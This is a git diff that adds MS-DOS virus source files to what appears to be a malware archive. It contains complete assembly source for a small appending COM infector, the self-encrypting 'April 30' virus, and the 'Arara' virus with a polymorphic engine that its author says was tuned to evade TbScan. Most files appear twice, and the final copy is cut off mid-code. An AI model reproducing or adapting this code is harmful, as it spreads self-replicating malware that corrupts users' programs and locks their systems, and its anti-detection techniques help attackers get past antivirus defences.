+;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ + +sub_14 proc near + push cs + pop ds + mov ax,2524h + lds dx,dword ptr ds:[442h] ; (80C7:0442=3C81h) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + retn +sub_14 endp + + and bp,cx + and [bx+6Fh],dh + jc $+6Dh ; Jump if carry Set + db 65h, 22h, 19h, 35h, 93h, 59h + db 57h, 54h, 80h, 00h, 00h, 00h + db 00h + db 2Ah, 2Eh, 45h, 58h, 45h + db 46 dup (0) + db 0B0h, 00h,0CFh, 00h, 33h, 00h + db 00h,0E4h, 0Fh, 80h, 06h,0E9h + db 0Dh, 00h,0BAh, 09h, 01h,0B4h + +seg_a ends + + + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.append.asm b/MSDOS/Virus.MSDOS.Unknown.append.asm new file mode 100644 index 00000000..3a40db31 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.append.asm @@ -0,0 +1,98 @@ +;Small appending virus - 143 bytes + +CSEG SEGMENT + ASSUME CS:CSEG, DS:CSEG + + ORG 100h + +Virus_Length equ End_Virus-Begin_Virus + +Start: + db 'M',0e9h,0,0 + +Begin_Virus: + call Delta + +Delta: + pop bp + sub bp,offset Delta + push si + push si + + mov ah,1ah + lea dx,[bp+DTA] + int 21h + + pop di + lea si,[bp+OldBytes] + movsw + movsw + + mov ah,4eh + mov cx,7h + lea dx,[bp+ComMask] + +Find_Next: + int 21h + jc Return + + mov ax,3d02h + lea dx,[bp+DTA+1eh] + int 21h + + xchg ax,bx + + mov ah,3fh + mov cx,4 + lea dx,[bp+OldBytes] + int 21h + + cmp byte ptr [bp+OldBytes],'M' + je Close_Find_Next + + mov ax,4202h + xor cx,cx + cwd + int 21h + + sub ax,4 + mov word ptr [bp+NewBytes+2],ax + + mov ah,40h + mov cx,Virus_Length + lea dx,[bp+Begin_Virus] + int 21h + + mov ax,4200h + xor cx,cx + cwd + int 21h + + mov ah,40h + mov cx,4 + lea dx,[bp+NewBytes] + int 21h + +Close_Find_Next: + mov ah,3eh + int 21h + + mov ah,4fh + jmp short Find_Next + +ComMask db "*.COM",0 +NewBytes db 'M',0e9h,0,0 +OldBytes db 0cdh,20h,0,0 + +Return: + mov ah,1ah + mov dx,80h + int 21h + + ret + +End_Virus: +DTA db 42 dup (?) + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.april30.a86 b/MSDOS/Virus.MSDOS.Unknown.april30.a86 new file mode 100644 index 00000000..737110d3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.april30.a86 @@ -0,0 +1,254 @@ +;****************************************************************************** +;* Written in * +;* April 30 Virus - Strain A A86 V3.22 * +;* ---------- * +;****************************************************************************** +;* "NightBird goes, * +;* Along with the Queen..." * +;****************************************************************************** +; Your are now looking at the result of my very first attempt to code +; a Virus. This virus is a non-Resident Self- encrypting Direct Action +; Com Infecter, which doesn't infect Command.com. The Virus is only active +; on April 30, showing the Message and Hanging the System..... +; You can recognize an infected File simply, the 4th Byte is a 'N'ightBird. +; +; Disclaimer: The Author will not be held responsible for any actions +; caused by this Virus. +; +; Note: Don't just say: " another booring virus.. ", instead +; be a teaching aid, and search for my pitfalls, (ofcoz +; if there are any!), so I can improve my code.... +; Please do so..... +; +; Enough of that crap talk, +; Greetingz go to... : John Tardy / TridenT and all other Members.. +; : Serge of (Ex) House Designs +; : All Virus-Writers around the globe +; +; Well that's it for now..... +; +; C U & Have pHun, +; (c) NightBird Dec. 1992. + + + org 100h ; Produce a Com File + +Start: jmp Prog ; + db 'N' ; Virus ID + + + +Prog: Push ax ; Save Possible Errors + call Main ; Get Virus +Main: pop bp ; Offset + sub bp,offset Main ; IP = BP + + lea si,Restore[bp] ; + mov di,si ; + mov cx,CrypterLen ; Decrypt +Decrypt: lodsb ; the +Key: Add al,0 ; Virus + stosb ; + loop Decrypt ; + +Decryptlen equ $-Prog ; + + +Restore: lea si,[bp+Restore_Host] ; Restore + mov di,100h ; the Original + movsw ; 4 Bytes of the + movsw ; Host Program + + mov ah,2ah ; Is it + int 21h ; the 30 of + cmp dh,4 ; April? + jne Start_Virus ; Yes, Show Txt + cmp dl,30 ; No, Continue + jne Start_Virus ; with Start_Virus + + mov ah,09h ; + lea dx,Txt[bp] ; Show Txt + int 21h ; And lock +HyperSpace: cli ; the Computer + jmp HyperSpace ; + + + +Start_Virus: mov ax,3524h ; Get Adress of + int 21h ; Interrupt 24h + + lea Oldint24h[bp],es ; Store + lea Oldint24h+2[bp],bx ; them... + + push cs ; Cs = Es + pop es ; Register + + mov ax,2524h ; Install a new + lea dx,Newint24h ; Int. to suppres + int 21h ; Errors.. + + mov ah,1ah ; Move DTA + mov dx,dta ; to a save + int 21h ; place + + mov ah,4eh ; +Search: lea dx,[bp+Filespec] ; Search + xor cx,cx ; for a com file, and + int 21h ; and quit if error + jnc Found ; + jmp End_Virus ; + +Found: cmp word ptr [bp+offset dta+35],'DN' ; Check If Command.com + je Find_Next_one ; + + mov ax,4300h ; Fetch file + mov dx,dta+1eh ; Attribute + int 21h ; and store it + push cx ; on stack + + mov ax,4301h ; Set attribute + mov cx,cx ; for use + int 21h ; + + mov ax,3d02h ; Open file + int 21h ; Dx = 0fd1eh + xchg ax,bx ; BX = FileHandle + + mov ax,5700h ; Get file/date + int 21h ; format and + push cx ; store them + push dx ; on stack + + mov ah,3fh ; Read 4 Bytes + lea dx,[bp+Restore_Host] ; and save + mov cx,4 ; them.. + int 21h + + mov ax,[Restore_Host+bp] ; Check + cmp ax,'MZ' ; if it is + je Exit ; a renamed + cmp ax,'ZM' ; Exe-File + je exit ; + + mov ah,[bp+Restore_Host+3] ; Check if Already + cmp ah,'N' ; infected + jne Infect + ; Jump to Sub-Routine +Exit: Call Close + +Find_Next_one: mov ah,4fh ; Try Another + jmp Search ; file... + +Infect: mov ax,4202h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the End of + int 21h ; the File + + cmp ax,0fb00h ; File too + jae Exit ; Big + + cmp ax,Minlen ; File too + jbe Exit ; Short + + sub ax,3 ; Save Jmp + mov word ptr [bp+Jmp_to_Virus]+1,ax ; + +Zero: mov ah,2ch ; (If the key + int 21h ; is 0,go Zero) + cmp dl,0 ; + jne Continue ; Get Seconds + jmp Zero ; to save as +Continue: mov key+1[bp],dl ; Decrypter-Key + lea si,[Prog+bp] ; + mov di,0fd00h ; Move the + mov cx,Decryptlen ; Decrypter + rep movsb ; Part + + lea si,Restore[bp] ; + mov cx,Crypterlen ; Decrypt behind +Encrypt: lodsb ; the + Sub al,dl ; Decrypter + stosb ; + loop encrypt ; + + mov ah,40h ; Write Virus + lea dx,0fd00h ; at the end + mov cx,virlen ; of the file! + int 21h ; + + mov ax,4200h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the start of + int 21h ; the file + + mov ah,40h ; Write Virus-Jmp + lea dx,Jmp_to_Virus[bp] ; to the begin + mov cx,4 ; of the file + int 21h ; + + call close ; Jump to Sub-Routine + + + +End_Virus: mov ax,2524h ; + lea bx,Oldint24h[bp] ; Restore Old + mov ds,bx ; (Critical Error) + lea dx,Oldint24h+2[bp] ; Interrupt 24h + int 21h ; + + push cs ; Cs = Ds + pop ds ; Register + + mov ah,1ah ; + mov dx,80h ; + int 21h ; Restore DTA + pop ax ; and go back + mov di,100h ; to the Host + push di ; Program + ret ; + + +Close: pop si ; Fetch IP from Stack + pop dx ; + pop cx ; Restore + mov ax,5701h ; Date/Time + int 21h ; + + mov ah,3eh ; Close + int 21h ; File + + mov ax,4301h ; + pop cx ; Restore File + mov dx,dta+1eh ; Attributes + int 21h ; + push si ; Restores IP + ret ; + +Newint24h: mov al,3 ; Suppres Errors + iret ; & Go back + +Oldint24h dd 0 + +Restore_Host db 0cdh,20h,0,0 + +Jmp_to_Virus db 0e9h,0,0,'N' + +Filespec db '*.com',0 + +Txt db 13,10,9,9,'"NightBird goes,',10,'Along with the Queen..."',13,10,7,'$' + +Names db '*April 30 Virus*' + +Dta equ 0fc00h + +Crypterlen equ $-Restore + +Virlen equ $-Prog + +Minlen equ Virlen*2 + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.april30.asm b/MSDOS/Virus.MSDOS.Unknown.april30.asm new file mode 100644 index 00000000..737110d3 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.april30.asm @@ -0,0 +1,254 @@ +;****************************************************************************** +;* Written in * +;* April 30 Virus - Strain A A86 V3.22 * +;* ---------- * +;****************************************************************************** +;* "NightBird goes, * +;* Along with the Queen..." * +;****************************************************************************** +; Your are now looking at the result of my very first attempt to code +; a Virus. This virus is a non-Resident Self- encrypting Direct Action +; Com Infecter, which doesn't infect Command.com. The Virus is only active +; on April 30, showing the Message and Hanging the System..... +; You can recognize an infected File simply, the 4th Byte is a 'N'ightBird. +; +; Disclaimer: The Author will not be held responsible for any actions +; caused by this Virus. +; +; Note: Don't just say: " another booring virus.. ", instead +; be a teaching aid, and search for my pitfalls, (ofcoz +; if there are any!), so I can improve my code.... +; Please do so..... +; +; Enough of that crap talk, +; Greetingz go to... : John Tardy / TridenT and all other Members.. +; : Serge of (Ex) House Designs +; : All Virus-Writers around the globe +; +; Well that's it for now..... +; +; C U & Have pHun, +; (c) NightBird Dec. 1992. + + + org 100h ; Produce a Com File + +Start: jmp Prog ; + db 'N' ; Virus ID + + + +Prog: Push ax ; Save Possible Errors + call Main ; Get Virus +Main: pop bp ; Offset + sub bp,offset Main ; IP = BP + + lea si,Restore[bp] ; + mov di,si ; + mov cx,CrypterLen ; Decrypt +Decrypt: lodsb ; the +Key: Add al,0 ; Virus + stosb ; + loop Decrypt ; + +Decryptlen equ $-Prog ; + + +Restore: lea si,[bp+Restore_Host] ; Restore + mov di,100h ; the Original + movsw ; 4 Bytes of the + movsw ; Host Program + + mov ah,2ah ; Is it + int 21h ; the 30 of + cmp dh,4 ; April? + jne Start_Virus ; Yes, Show Txt + cmp dl,30 ; No, Continue + jne Start_Virus ; with Start_Virus + + mov ah,09h ; + lea dx,Txt[bp] ; Show Txt + int 21h ; And lock +HyperSpace: cli ; the Computer + jmp HyperSpace ; + + + +Start_Virus: mov ax,3524h ; Get Adress of + int 21h ; Interrupt 24h + + lea Oldint24h[bp],es ; Store + lea Oldint24h+2[bp],bx ; them... + + push cs ; Cs = Es + pop es ; Register + + mov ax,2524h ; Install a new + lea dx,Newint24h ; Int. to suppres + int 21h ; Errors.. + + mov ah,1ah ; Move DTA + mov dx,dta ; to a save + int 21h ; place + + mov ah,4eh ; +Search: lea dx,[bp+Filespec] ; Search + xor cx,cx ; for a com file, and + int 21h ; and quit if error + jnc Found ; + jmp End_Virus ; + +Found: cmp word ptr [bp+offset dta+35],'DN' ; Check If Command.com + je Find_Next_one ; + + mov ax,4300h ; Fetch file + mov dx,dta+1eh ; Attribute + int 21h ; and store it + push cx ; on stack + + mov ax,4301h ; Set attribute + mov cx,cx ; for use + int 21h ; + + mov ax,3d02h ; Open file + int 21h ; Dx = 0fd1eh + xchg ax,bx ; BX = FileHandle + + mov ax,5700h ; Get file/date + int 21h ; format and + push cx ; store them + push dx ; on stack + + mov ah,3fh ; Read 4 Bytes + lea dx,[bp+Restore_Host] ; and save + mov cx,4 ; them.. + int 21h + + mov ax,[Restore_Host+bp] ; Check + cmp ax,'MZ' ; if it is + je Exit ; a renamed + cmp ax,'ZM' ; Exe-File + je exit ; + + mov ah,[bp+Restore_Host+3] ; Check if Already + cmp ah,'N' ; infected + jne Infect + ; Jump to Sub-Routine +Exit: Call Close + +Find_Next_one: mov ah,4fh ; Try Another + jmp Search ; file... + +Infect: mov ax,4202h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the End of + int 21h ; the File + + cmp ax,0fb00h ; File too + jae Exit ; Big + + cmp ax,Minlen ; File too + jbe Exit ; Short + + sub ax,3 ; Save Jmp + mov word ptr [bp+Jmp_to_Virus]+1,ax ; + +Zero: mov ah,2ch ; (If the key + int 21h ; is 0,go Zero) + cmp dl,0 ; + jne Continue ; Get Seconds + jmp Zero ; to save as +Continue: mov key+1[bp],dl ; Decrypter-Key + lea si,[Prog+bp] ; + mov di,0fd00h ; Move the + mov cx,Decryptlen ; Decrypter + rep movsb ; Part + + lea si,Restore[bp] ; + mov cx,Crypterlen ; Decrypt behind +Encrypt: lodsb ; the + Sub al,dl ; Decrypter + stosb ; + loop encrypt ; + + mov ah,40h ; Write Virus + lea dx,0fd00h ; at the end + mov cx,virlen ; of the file! + int 21h ; + + mov ax,4200h ; Move File + xor cx,cx ; Pointer to + xor dx,dx ; the start of + int 21h ; the file + + mov ah,40h ; Write Virus-Jmp + lea dx,Jmp_to_Virus[bp] ; to the begin + mov cx,4 ; of the file + int 21h ; + + call close ; Jump to Sub-Routine + + + +End_Virus: mov ax,2524h ; + lea bx,Oldint24h[bp] ; Restore Old + mov ds,bx ; (Critical Error) + lea dx,Oldint24h+2[bp] ; Interrupt 24h + int 21h ; + + push cs ; Cs = Ds + pop ds ; Register + + mov ah,1ah ; + mov dx,80h ; + int 21h ; Restore DTA + pop ax ; and go back + mov di,100h ; to the Host + push di ; Program + ret ; + + +Close: pop si ; Fetch IP from Stack + pop dx ; + pop cx ; Restore + mov ax,5701h ; Date/Time + int 21h ; + + mov ah,3eh ; Close + int 21h ; File + + mov ax,4301h ; + pop cx ; Restore File + mov dx,dta+1eh ; Attributes + int 21h ; + push si ; Restores IP + ret ; + +Newint24h: mov al,3 ; Suppres Errors + iret ; & Go back + +Oldint24h dd 0 + +Restore_Host db 0cdh,20h,0,0 + +Jmp_to_Virus db 0e9h,0,0,'N' + +Filespec db '*.com',0 + +Txt db 13,10,9,9,'"NightBird goes,',10,'Along with the Queen..."',13,10,7,'$' + +Names db '*April 30 Virus*' + +Dta equ 0fc00h + +Crypterlen equ $-Restore + +Virlen equ $-Prog + +Minlen equ Virlen*2 + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.arara1.a86 b/MSDOS/Virus.MSDOS.Unknown.arara1.a86 new file mode 100644 index 00000000..41666ad2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.arara1.a86 @@ -0,0 +1,420 @@ + ; + ; [Arara] Virus + ; Generated by [TVG] + ; Minor modifications done to avoid heuristic detection by TbScan + ; Cloaked with a minor polymorphic protection device + ; Created on Monday November 11, 1993 + ; Written for compilation in A86 pd assembler + ; + ; This is not a major virus, but I want to see how they react in the Virus + ; summary. Maybe they say it's from Bulgaria because of the language. Well, + ; if you want me to write something (fairly neutral) about satanism for a mag + ; then say it so. I try to keep it interesting... + ; + ; John Tardy + + + JMP MAIN + DB 'Ю' +MAIN: CALL GETOFS +GETOFS: MOV BP,SP + MOV BP,SS:[BP] + PUSH AX + SUB BP,GETOFS +MAINVIR EQU $ + CALL RANDOMIZE + MOV AX,[ORGPRG][BP] + LEA DI,100H + STOSW + MOV AX,[ORGPRG][2][BP] + STOSW + MOV AH,1AH + MOV DX,0FD00H + INT 21H + CALL CHANGE + + MOV AH,4EH +SEARCH: LEA DX,FILESPEC[BP] + XOR CX,CX + INT 21H + JNC NOERROR + JMP READY +NOERROR: MOV AX,4300H + MOV DX,0FD1EH + INT 21H + PUSH CX + MOV AX,4301H + XOR CX,CX + INT 21H + MOV AX,3D02H + MOV DX,0FD1EH + INT 21H + XCHG AX,BX + MOV AX,5700H + INT 21H + PUSH CX + PUSH DX + MOV AH,3FH + LEA DX,ORGPRG[BP] + MOV CX,4 + INT 21H + MOV CX,W ORGPRG[BP] + XOR CX,0FFFFH + CMP CX,0B2A5H + JE EXEFILE + CMP CX,0A5B2H + JE EXEFILE + CMP B ORGPRG[BP][3],'Ю' + JE EXEFILE + MOV AX,4202H + XOR CX,CX + CWD + INT 21H + SUB AX,3 + MOV JUMP[1][BP],AX + PUSH BX + PUSH AX + CALL CHANGE + MOV DS,CS + LEA SI,MAIN[BP] + MOV CX,VIRLEN + MOV ES,CS + LEA DI,START[BP] + POP DX + ADD DX,103H + MOV AX,3 + + CALL ENCRYPT + + POP BX + MOV AH,40H + MOV DS,CS + LEA DX,START[BP] + INT 21H + + MOV AX,4200H + XOR CX,CX + CWD + INT 21H + MOV AH,40H + LEA DX,JUMP[BP] + MOV CX,4 + INT 21H + CALL CLOSE + JMP READY +EXEFILE: CALL CLOSE + MOV AH,4FH + JMP SEARCH +READY EQU $ +ERROR: MOV AH,1AH + MOV DX,80H + INT 21H + MOV DS,CS + POP AX + MOV BX,0FEFFH + XOR BX,0FFFFH + JMP BX +CLOSE: POP SI + POP DX + POP CX + MOV AX,5700H + INC AX + INT 21H + MOV AH,3EH + INT 21H + POP CX + MOV AX,4300H + INC AX + MOV DX,0FD1EH + INT 21H + MOV DS,CS + MOV ES,CS + PUSH SI + RET + DB '[ARARA]' +CHANGE: MOV AX,W WEXL[BP] + XCHG AL,AH + MOV W WEXL[BP],AX + RET + + ;--------------------------------------------------------------------------- + ; + ; Encryption engine + ; + ;--------------------------------------------------------------------------- + +RANDOMIZE: MOV CX,MTLEN +INCREASE: MOV SI,CX + INC B MT[SI][-1][BP] + LOOP INCREASE +CHECKIT: MOV CX,MTMAXLEN +CHECKVAL: MOV SI,CX + MOV AH,MT[SI][-1][BP] + MOV AL,MTMAX[SI][-1][BP] + CMP AH,AL + JB GOODVAL + MOV B MT[SI][-1][BP],0 +GOODVAL: LOOP CHECKVAL + XOR AX,AX + MOV DS,AX +NOTZERO: MOV AL,B DS:[046CH] + OR AL,AL + JZ NOTZERO + MOV DS,CS + MOV ENCRYPTVAL[BP],AL + RET + +DUMMY1 DW 0 ; offset mov bx,si,di +DUMMY2 DW 0 ; offset loop +CALNEWCX DW 0 + +ENCRYPT: PUSH DS + PUSH SI + PUSH CX + + MOV AMOUNT[BP],AX + + MOV COUNTLOOP[BP],CX + + MOV CALNEWCX[BP],DI + + LEA SI,MT[BP] + + CALL INSERTGARBAGE + XOR AX,AX + + LODSB + PUSH AX + LEA BX,VAL2T[BP] + CALL USETABLE + ADD AX,W [COUNTLOOP][BP] + STOSW + LODSB + PUSH AX + CALL INSERTGARBAGE + LEA BX,VAL3SUB[BP] + CALL USETABLE + POP AX + SHL AX,2 + POP BX + ADD AX,BX + LEA BX,VAL3T[BP] + CALL USETABLE + CALL INSERTGARBAGE + + LODSB + PUSH AX + PUSH AX + LEA BX,VAL1T[BP] + CALL USETABLE + MOV DUMMY1[BP],DI + STOSW + CALL INSERTGARBAGE + + MOV DUMMY2[BP],DI + LODSB + LEA BX,VAL4T[BP] + CALL USETABLE + POP BX + LODSB + MOV FUNCTION[BP],AL + SHL AX,2 + ADD AX,BX + LEA BX,VAL5T[BP] + CALL USETABLE + MOV AL,B [ENCRYPTVAL][BP] + STOSB + CALL INSERTGARBAGE + POP AX + LEA BX,VAL6T[BP] + CALL USETABLE + LODSB + LEA BX,VAL7T[BP] + CALL USETABLE + MOV AX,DI + MOV BX,DUMMY2[BP] + SUB AX,BX + NOT AX + STOSB + PUSH DI + MOV AX,CALNEWCX[BP] + SUB DI,AX + ADD DI,DX + MOV AX,DI + MOV DI,DUMMY1[BP] + STOSW + POP DI + + POP CX + POP SI + POP DS + +CODEIT: LODSB + CMP B FUNCTION[BP],0 + JNE WHATELSE1 + XOR AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE1: CMP B FUNCTION[BP],1 + JNE WHATELSE2 + SUB AL,ENCRYPTVAL[BP] + JMP NOELSE +WHATELSE2: ADD AL,ENCRYPTVAL[BP] +NOELSE: STOSB + LOOP CODEIT + MOV CX,CALNEWCX[BP] + SUB DI,CX + MOV CX,DI + RET + +USETABLE: + XLAT + STOSB + RET + +INSERTGARBAGE: PUSH DS + PUSH SI + PUSH AX + PUSH CX + PUSH DS + PUSH SI + XOR AX,AX + MOV DS,AX + MOV AX,WORD PTR DS:[046CH] + ADD AX,DI + SUB AX,SI + ADD AX,BP + ADD AX,WORD PTR CS:[DI][BP] + ADD AL,AH + ADD AX,CX + AND AX,02H +AMOUNT EQU $-2 + MOV CX,AX + AND AX,7H + POP SI + POP DS + CMP CX,0 + JE NOGARBAGE +INSERT: LEA BX,RANDOMCODE[BP] + CALL USETABLE + ADD AX,DI + ADD AX,SI + ADD AX,WORD PTR CS:[DI][BP] + AND AX,7 + LOOP INSERT +NOGARBAGE: POP CX + POP AX + POP SI + POP DS + RET + +MTMAX DB 4 ; MT 0 + DB 10 ; MT 1 + DB 3 ; MT 2 + DB 2 ; MT 4 + DB 3 ; MT 5 + DB 2 ; MT 6 + DB 6 ; MT 7 +MTMAXLEN EQU $-MTMAX + +MT DB 0 ; MT 0 + DB 0 ; MT 1 + DB 0 ; MT 2 + DB 0 ; MT 4 + DB 0 ; MT 5 + DB 0 ; MT 6 + DB 0 ; MT 7 +MTLEN EQU $-MT + + ; Offset Encrypted part +ENCOFS DW 0 + + ; Counterloop decryption +COUNTLOOP DW 0 + + ; Encryption Valua +ENCRYPTVAL DB 0 + + ; Function +FUNCTION DB 0 ; 0=xor, 1=add, 2=sub (xchange in encr) + + ; MT 0 +VAL1T DB 0BBH,0BEH,0BFH ; Mov Bx,Si,Di + + ; MT 1 +VAL2T DB 0B8H,0BBH,0BAH,0BDH ; Mov Ax,Bx,Dx,Bp + + ; MT 2 V +VAL3SUB DB 089H, 087H, 087H, 031H, 001H, 009H + + DB 08BH, 033H, 003H, 00BH ; NIEUW + + ; MT 1 H +VAL3T DB 0C1H,0D9H,0D1H,0E9H ; Mov Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0CBH,0CAH,0CDH ; Xchg Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xchg Ax,Bx,Dx,Bp <- Cx + DB 0C1H,0D9H,0D1H,0E9H ; Xor Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Add Ax,Bx,Dx,Bp -> Cx + DB 0C1H,0D9H,0D1H,0E9H ; Or Ax,Bx,Dx,Bp -> Cx + + DB 0C8H,0CBH,0CAH,0CDH ; NIEUW + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + DB 0C8H,0CBH,0CAH,0CDH ; + + + + ; MT 4 H +VAL4T DB 080H,082H ; 00 / 0000 + + ; MT 5 V + ; MT 0 H +VAL5T DB 037H,034H,035H,037H ; Xor Bx,Si,Di,bx + DB 007H,004H,005H,007H ; Add Bx,Si,Di,bx + DB 02FH,02CH,02DH,02FH ; Sub Bx,Si,Di,bx + + ; MT 0 H +VAL6T DB 043H,046H,047H ; Inc Bx,Si,Di + + ; MT 6 H +VAL7T DB 0E0H,0E2H ; Loop Equal Functions + + ; MT 7 H +RANDOMCODE DB 0FCH,0F8H,090H,0F9H,0F5H ; Random code + DB 0CCH,0FBH,02EH,0F5H + + +FILESPEC DB '*.OCM',0 +WEXL EQU FILESPEC+2 +JUMP DB 0E9H + DW 0 + DB 'Ю' +ORGPRG DB 0CDH,020H,'AR' + + ; + ; The Eighteenth Enochian Key opens the gates of Hell and casts up Lucifer + ; and his blessing. + ; + ; Enochian +DB 13,10,'ILASA MICALAZODA OLAPIRETA IALPEREJI BELIORE: DAS ODO BUSADIRE OIAD OUOARESA' +DB 13,10,'CAOSAGO: CASAREMEJI LAIADA ERANU BERINUTASA CAFAFAME DAS IVEMEDA AQOSO ADOHO' +DB 13,10,'MOZ, OD MAOFASA. BOLAPE COMO BELIORETA PAMEBETA. ZODACARE OD ZODAMERANU! ODO' +DB 13,10,'CICALE QAA. ZODOREJE, LAPE ZODIREDO NOCO MADA, HOATHAHE SAITAN!' + ; English + ; O thou mighty light and burning flame of comfort!, that unveilest the glory + ; of Satan to the center of the Earth; in whom the great secrets of truth + ; have their abiding; that is called in thy kingdom: "strength through joy," + ; and is not to be measured. Be thou a window of comfort unto me. Move there- + ; fore, and appear! Open the mysteries of your creation! Be friendly unto me, + ; for I am the same!, the true worshipper of the highest end ineffable King + ; of Hell! +START EQU $ + + + +VIRLEN EQU $-MAIN + + +; ───────────────────────────────────────────────────────────────────────── +; ───────────────> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <─────────────── +; ───────────> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <─────────── +; ───────────────────────────────────────────────────────────────────────── diff --git a/MSDOS/Virus.MSDOS.Unknown.arara1.asm b/MSDOS/Virus.MSDOS.Unknown.arara1.asm new file mode 100644 index 00000000..41666ad2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.arara1.asm @@ -0,0 +1,420 @@ + ; + ; [Arara] Virus + ; Generated by [TVG] + ; Minor modifications done to avoid heuristic detection by TbScan + ; Cloaked with a minor polymorphic protection device + ; Created on Monday November 11, 1993 + ; Written for compilation in A86 pd assembler + ; + ; This is not a major virus, but I want to see how they react in the Virus + ; summary. Maybe they say it's from Bulgaria because of the language. Well, + ; if you want me to write something (fairly neutral) about satanism for a mag + ; then say it so. I try to keep it interesting... + ; + ; John Tardy + + + JMP MAIN + DB 'Ю' +MAIN: CALL GETOFS +GETOFS: MOV BP,SP + MOV BP,SS:[BP] + PUSH AX + SUB BP,GETOFS +MAINVIR EQU $ + CALL RANDOMIZE + MOV AX,[ORGPRG][BP] + LEA DI,100H + STOSW + MOV AX,[ORGPRG][2][BP] + STOSW + MOV AH,1AH + MOV DX,0FD00H + INT 21H + CALL CHANGE + + MOV AH,4EH +SEARCH: LEA DX,FILESPEC[BP] + XOR CX,CX + INT 21H + JNC NOERROR + JMP READY +NOERROR: MOV AX,4300H + MOV DX,0FD1EH + INT 21H + PUSH CX + MOV AX,4301H + XOR CX,CX + INT 21H + MOV AX,3D02H + MOV DX,0FD1EH + INT 21H + XCHG AX,BX + MOV AX,5700H + INT 21H + PUSH CX + PUSH DX + MOV AH,3FH + LEA DX,ORGPRG[BP] + MOV CX,4 + INT 21H + MOV CX,W ORGPRG[BP] + XOR CX,0FFFFH + CMP CX,0B2A5H + JE EXEFILE + CMP CX,0A5B2H + JE EXEFILE + CMP B ORGPRG[BP][3],'Ю' + JE EXEFILE + MOV AX,4202H + XOR CX,CX + CWD + INT 21H + SUB AX,3 + MOV JUMP[1][BP],AX + PUSH BX + PUSH AX + CALL CHANGE + MOV DS,CS + LEA SI,MAIN[BP] + MOV CX,VIRLEN + MOV ES,CS + LEA DI,START[BP] + POP DX + ADD DX,103H + MOV AX,3 + + CALL ENCRYPT + + POP BX + MOV AH,40H + MOV DS,CS + LEA DX,START[BP] + INT 21H + + MOV AX,4200H + XOR CX,CX + CWD + INT 21H + MOV AH,40H + LEA DX,JUMP[BP] + MOV CX,4 + INT 21H + CALL CLOSE + JMP READY +EXEFILE: CALL CLOSE + MOV AH,4FH + JMP SEARCH +READY EQU $ +ERROR: MOV AH,1AH + MOV DX,80H + INT 21H + MOV DS,CS + POP AX + MOV BX,0FEFFH + XOR BX,0FFFFH + JMP BX +CLOSE: POP SI + POP DX + POP CX + MOV AX,5700H + INC AX + INT 21H + MOV AH,3EH + INT 21H + POP CX + MOV AX,4300H + INC AX + MOV DX,0FD1EH + INT 21H + MOV DS,CS + MOV ES,CS + PUSH SI + RET + DB '[ARARA]' +CHANGE: MOV AX,W WEXL[BP] + XCHG AL,AH + MOV W WEXL[BP],AX + RET + + ;--------------------------------------------------------------------------- + ; + ; Encryption engine + ; + ;--------------------------------------------------------------------------- + +RANDOMIZE: MOV CX,MTLEN +INCREASE: MOV SI,CX + INC B MT[SI][-1][BP] + LOOP INCREASE +CHECKIT: MOV CX,MTMAXLEN +CHECKVAL: MOV SI,CX + MOV AH,MT[SI][-1][BP] + MOV AL,MTMAX[SI][-1][BP] + CMP AH,AL + JB GOODVAL + MOV B MT[SI][-1][BP],0 +GOODVAL: LOOP CHECKVAL + XOR AX,AX + MOV DS,AX +NOTZERO: MOV AL,B DS:[046CH] + OR AL,AL + JZ NOTZERO + MOV DS,CS + MOV ENCRYPTVAL[BP],AL + RET + +DUMMY1 DW 0 ; offset mov bx,si,di +DUMMY2 DW 0 ; offset loop +CALNEWCX DW 0 + +ENCRYPT: PUSH DS + PUSH SI + PUSH CX + + MOV AMOUNT[BP],AX + + MOV COUNTLOOP[BP],CX + + MOV CALNEWCX[BP],DI + + LEA SI,MT[BP] + + CALL INSERTGARBAGE + XOR AX,AX + + LODSB + PUSH AX + LEA BX,VAL2T[BP] + CALL USETABLE + ADD AX,W [COUNTLOOP][BP] + STOSW + LODSB + PUSH AX + CALL INSERTGARBAGE + LEA BX,VAL3SUB[BP] + CALL USETABLE + POP AX + SHL AX,2 + POP BX + ADD AX,BX + LEA BX,VAL3T[BP] + CALL USETABLE + CALL INSERTGARBAGE + + LODSB + PUSH AX + PUSH AX + LEA BX,VAL1T[BP] + CALL USETABLE + MOV DUMMY1[BP],DI + STOSW + CALL INSERTGARBAGE + + MOV DUMMY2[BP],DI + LODSB + LEA BX,VAL4T[BP] + CALL USETABLE 